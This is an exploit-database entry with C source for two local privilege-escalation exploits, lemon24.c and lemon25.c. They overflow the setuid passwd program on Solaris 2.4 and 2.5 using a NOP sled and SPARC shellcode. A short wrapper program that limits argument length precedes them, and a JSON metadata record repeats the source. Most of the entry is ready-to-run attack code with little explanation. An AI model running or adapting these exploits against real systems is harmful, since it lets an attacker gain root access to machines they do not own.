ID SSV:5369
Type seebug
Reporter Root
Modified 2006-10-28T00:00:00
Description
No description provided by source.
---------------------------- file newpass.c
-------------------------------
#include <stdio.h>
#include <syslog.h>
#define hidden_passwd "/bin/hpasswd" /*change here ...*/
#define MAX_LENGTH 32
void main(int argc, char *argv[])
{
int i;
char *args[10];
if(argc < 10)
{
args[0]=hidden_passwd;
for(i = 1; i<argc; i++)
{
if(strlen(argv[i]) > MAX_LENGTH)
{
printf("You reached the maximum length in
args\n");
exit(0);
}
else args[i]=argv[i];
}
args[i]=(char *)0;
execv(args[0],args);
}
else
{
printf("You reached the maximum number of args !\n");
}
}
---------------------------- end newpass.c
-----------------------------------
------------------------------ EXPLOITS ----------------------------------
------------------------------ lemon24.c --------------------------------
/*
Exploit for Solaris 2.4 ( it is a little and subtile different beetwen
this
exploit and the prog for Solaris 2.5 - the overflow buffer is shifted
with 1 char )
With argv[1] you can modify the stack_offset (+-256).
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 600
#define EXTRA 600
#define STACK_OFFSET 1400
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
perror("execl failed");
}
-------------------------------- end of lemon24.c
----------------------------
---------------------------------- lemon25.c
--------------------------------
/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH 1100
#define EXTRA 1200
#define STACK_OFFSET 3800
#define SPARC_NOP 0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
execl("/bin/passwd", "passwd", buf,(char *) 0);
perror("execl failed");
}
----------------------------------- end of lemon25.c
{"href": "https://www.seebug.org/vuldb/ssvid-5369", "status": "poc", "bulletinFamily": "exploit", "modified": "2006-10-28T00:00:00", "title": "Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-5369", "cvelist": [], "description": "No description provided by source.", "viewCount": 2, "published": "2006-10-28T00:00:00", "sourceData": "\n ---------------------------- file newpass.c\r\n-------------------------------\r\n#include <stdio.h>\r\n#include <syslog.h>\r\n\r\n#define hidden_passwd "/bin/hpasswd" /*change here ...*/\r\n#define MAX_LENGTH 32\r\n\r\nvoid main(int argc, char *argv[])\r\n{\r\nint i;\r\nchar *args[10];\r\n\r\n if(argc < 10)\r\n {\r\n args[0]=hidden_passwd;\r\n for(i = 1; i<argc; i++)\r\n {\r\n if(strlen(argv[i]) > MAX_LENGTH)\r\n {\r\n printf("You reached the maximum length in\r\nargs\\n");\r\n exit(0);\r\n }\r\n else args[i]=argv[i];\r\n }\r\n args[i]=(char *)0;\r\n execv(args[0],args);\r\n }\r\n else\r\n {\r\n printf("You reached the maximum number of args !\\n");\r\n }\r\n}\r\n\r\n---------------------------- end newpass.c\r\n-----------------------------------\r\n\r\n------------------------------ EXPLOITS ----------------------------------\r\n\r\n------------------------------ lemon24.c --------------------------------\r\n/*\r\nExploit for Solaris 2.4 ( it is a little and subtile different beetwen\r\nthis\r\nexploit and the prog for Solaris 2.5 - the overflow buffer is shifted\r\nwith 1 char )\r\nWith argv[1] you can modify the stack_offset (+-256).\r\n*/\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <sys/types.h>\r\n#include <unistd.h>\r\n\r\n#define BUF_LENGTH 600\r\n#define EXTRA 600\r\n#define STACK_OFFSET 1400\r\n#define SPARC_NOP 0xa61cc013\r\n\r\nu_char sparc_shellcode[] =\r\n"\\x2d\\x0b\\xd8\\x9a\\xac\\x15\\xa1\\x6e\\x2f\\x0b\\xda\\xdc\\xae\\x15\\xe3\\x68"\r\n"\\x90\\x0b\\x80\\x0e\\x92\\x03\\xa0\\x0c\\x94\\x1a\\x80\\x0a\\x9c\\x03\\xa0\\x14"\r\n"\\xec\\x3b\\xbf\\xec\\xc0\\x23\\xbf\\xf4\\xdc\\x23\\xbf\\xf8\\xc0\\x23\\xbf\\xfc"\r\n"\\x82\\x10\\x20\\x3b\\x91\\xd0\\x20\\x08\\x90\\x1b\\xc0\\x0f\\x82\\x10\\x20\\x01"\r\n"\\x91\\xd0\\x20\\x08"\r\n;\r\n\r\nu_long get_sp(void)\r\n{\r\n __asm__("mov %sp,%i0 \\n");\r\n}\r\n\r\nvoid main(int argc, char *argv[])\r\n{\r\n char buf[BUF_LENGTH + EXTRA + 8];\r\n long targ_addr;\r\n u_long *long_p;\r\n u_char *char_p;\r\n int i, code_length = strlen(sparc_shellcode),dso=0;\r\n\r\n if(argc > 1) dso=atoi(argv[1]);\r\n\r\n long_p =(u_long *) buf ;\r\n targ_addr = get_sp() - STACK_OFFSET - dso;\r\n\r\n for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)\r\n *long_p++ = SPARC_NOP;\r\n\r\n char_p = (u_char *) long_p;\r\n\r\n for (i = 0; i < code_length; i++)\r\n *char_p++ = sparc_shellcode[i];\r\n\r\n long_p = (u_long *) char_p;\r\n\r\n\r\n for (i = 0; i < EXTRA / sizeof(u_long); i++)\r\n *long_p++ =targ_addr;\r\n\r\n printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\\n",\r\n targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);\r\n execl("/bin/passwd", "passwd", & buf[1],(char *) 0);\r\n perror("execl failed");\r\n}\r\n\r\n-------------------------------- end of lemon24.c\r\n----------------------------\r\n\r\n---------------------------------- lemon25.c\r\n--------------------------------\r\n\r\n/*\r\nThis is for Solaris 2.5.(1) !\r\nWith argv[1] you can modify the stack offset (+-500) if you have troubles\r\n...\r\n*/\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <sys/types.h>\r\n#include <unistd.h>\r\n\r\n#define BUF_LENGTH 1100\r\n#define EXTRA 1200\r\n#define STACK_OFFSET 3800\r\n#define SPARC_NOP 0xa61cc013\r\n\r\nu_char sparc_shellcode[] =\r\n"\\x82\\x10\\x20\\xca\\xa6\\x1c\\xc0\\x13\\x90\\x0c\\xc0\\x13\\x92\\x0c\\xc0\\x13"\r\n"\\xa6\\x04\\xe0\\x01\\x91\\xd4\\xff\\xff\\x2d\\x0b\\xd8\\x9a\\xac\\x15\\xa1\\x6e"\r\n"\\x2f\\x0b\\xdc\\xda\\x90\\x0b\\x80\\x0e\\x92\\x03\\xa0\\x08\\x94\\x1a\\x80\\x0a"\r\n"\\x9c\\x03\\xa0\\x10\\xec\\x3b\\xbf\\xf0\\xdc\\x23\\xbf\\xf8\\xc0\\x23\\xbf\\xfc"\r\n"\\x82\\x10\\x20\\x3b\\x91\\xd4\\xff\\xff"\r\n;\r\n\r\nu_long get_sp(void)\r\n{\r\n __asm__("mov %sp,%i0 \\n");\r\n}\r\n\r\nvoid main(int argc, char *argv[])\r\n{\r\n char buf[BUF_LENGTH + EXTRA];\r\n long targ_addr;\r\n u_long *long_p;\r\n u_char *char_p;\r\n int i, code_length = strlen(sparc_shellcode),dso=0;\r\n\r\n if(argc > 1) dso=atoi(argv[1]);\r\n\r\n long_p =(u_long *) buf;\r\n targ_addr = get_sp() - STACK_OFFSET - dso;\r\n\r\n for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)\r\n *long_p++ = SPARC_NOP;\r\n\r\n char_p = (u_char *) long_p;\r\n\r\n for (i = 0; i < code_length; i++)\r\n *char_p++ = sparc_shellcode[i];\r\n\r\n long_p = (u_long *) char_p;\r\n\r\n\r\n for (i = 0; i < EXTRA / sizeof(u_long); i++)\r\n *long_p++ =targ_addr;\r\n\r\n printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\\n",\r\n targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);\r\n execl("/bin/passwd", "passwd", buf,(char *) 0);\r\n perror("execl failed");\r\n}\r\n\r\n----------------------------------- end of lemon25.c\r\n\r\n\r\n\r\n\n ", "id": "SSV:5369", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T22:24:01", "reporter": "Root", "enchantments": {"score": {"value": 0.2, "vector": "NONE", "modified": "2017-11-19T22:24:01", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T22:24:01", "rev": 2}, "vulnersScore": 0.2}, "references": [], "immutableFields": []}
{}